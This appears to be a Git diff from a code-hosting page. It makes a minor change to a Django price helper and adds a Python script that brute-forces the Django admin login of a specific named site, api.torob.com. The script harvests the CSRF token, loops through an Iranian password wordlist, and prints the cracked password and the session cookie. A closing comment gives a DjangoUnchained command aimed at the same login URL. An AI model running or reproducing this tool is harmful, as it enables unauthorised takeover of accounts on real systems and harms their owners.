@@ -10,7 +10,7 @@ def admin_pending_count(request):
|
|||||||
|
|
||||||
def dollor_price(request):
|
def dollor_price(request):
|
||||||
dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique')
|
dollor_object, _ = DollorModel.objects.get_or_create(unique_filed='unique')
|
||||||
return str(dollor_object.price)[:2]
|
return str(dollor_object.price)[:3]
|
||||||
|
|
||||||
def comment_count(request):
|
def comment_count(request):
|
||||||
return CommentModel.objects.filter(review_status='not_reviwed').count()
|
return CommentModel.objects.filter(review_status='not_reviwed').count()
|
||||||
|
|||||||
@@ -0,0 +1,81 @@
|
|||||||
|
import requests
|
||||||
|
|
||||||
|
from lxml import html
|
||||||
|
|
||||||
|
TARGET_URL = 'https://api.torob.com/torob-admin/login/'
|
||||||
|
USERNAME = ''
|
||||||
|
WORDLIST = '/root/Iranian-Password-list/nam2elist.txt'
|
||||||
|
|
||||||
|
|
||||||
|
def brute_force():
|
||||||
|
print(f'Target: {TARGET_URL}')
|
||||||
|
print(f'Trying passwords for {USERNAME}.')
|
||||||
|
|
||||||
|
client = requests.session()
|
||||||
|
page = client.get(TARGET_URL)
|
||||||
|
|
||||||
|
tree = html.fromstring(page.content)
|
||||||
|
csrf_middleware_token = tree.xpath('//input[@name="csrfmiddlewaretoken"]/@value')[0]
|
||||||
|
|
||||||
|
|
||||||
|
csrf_token = client.cookies.get('csrftoken')
|
||||||
|
cookies = {'csrftoken': csrf_token}
|
||||||
|
|
||||||
|
|
||||||
|
headers = {'Referer': TARGET_URL}
|
||||||
|
|
||||||
|
print('Reading file...')
|
||||||
|
with open(WORDLIST, mode='r') as file:
|
||||||
|
content = file.readlines()
|
||||||
|
|
||||||
|
|
||||||
|
passwords = [p.strip() for p in content]
|
||||||
|
|
||||||
|
print('Cracking', end='', flush=True)
|
||||||
|
count = 0
|
||||||
|
for password in passwords:
|
||||||
|
count += 1
|
||||||
|
print_count(count)
|
||||||
|
body = {
|
||||||
|
'username': USERNAME,
|
||||||
|
'password': password,
|
||||||
|
'csrfmiddlewaretoken': csrf_middleware_token
|
||||||
|
}
|
||||||
|
response = requests.post(
|
||||||
|
TARGET_URL,
|
||||||
|
cookies=cookies,
|
||||||
|
headers=headers,
|
||||||
|
data=body,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
|
||||||
|
if response.status_code == 302:
|
||||||
|
break
|
||||||
|
|
||||||
|
if response.status_code == 200:
|
||||||
|
continue
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
if response.status_code == 302:
|
||||||
|
session_token = response.cookies.get('sessionid')
|
||||||
|
print(f'\nSuccess. {count} passwords tried. Password: {password}. Session token: {session_token}.')
|
||||||
|
elif response.status_code == 200:
|
||||||
|
print(f'\nFailed. {count} passwords tried.')
|
||||||
|
else:
|
||||||
|
print(f'\nUnable to attempt login: received status code {response.status_code}.')
|
||||||
|
|
||||||
|
|
||||||
|
def print_count(counter, small_denom=10, big_denom=100):
|
||||||
|
if (counter / small_denom).is_integer():
|
||||||
|
print('.', end='', flush=True)
|
||||||
|
if (counter / big_denom).is_integer():
|
||||||
|
print(counter, end='', flush=True)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
brute_force()
|
||||||
|
|
||||||
|
#DjangoUnchained.py -domain api.torob.com -scheme https -uri /torob-admin/login/ -userdict /root/DjangoUnchained/username.txt -passwdict /root/DjangoUnchained/password.txt -l /root/file.log
|
||||||
|
|
||||||
|
|
||||||
Reference in New Issue
Block a user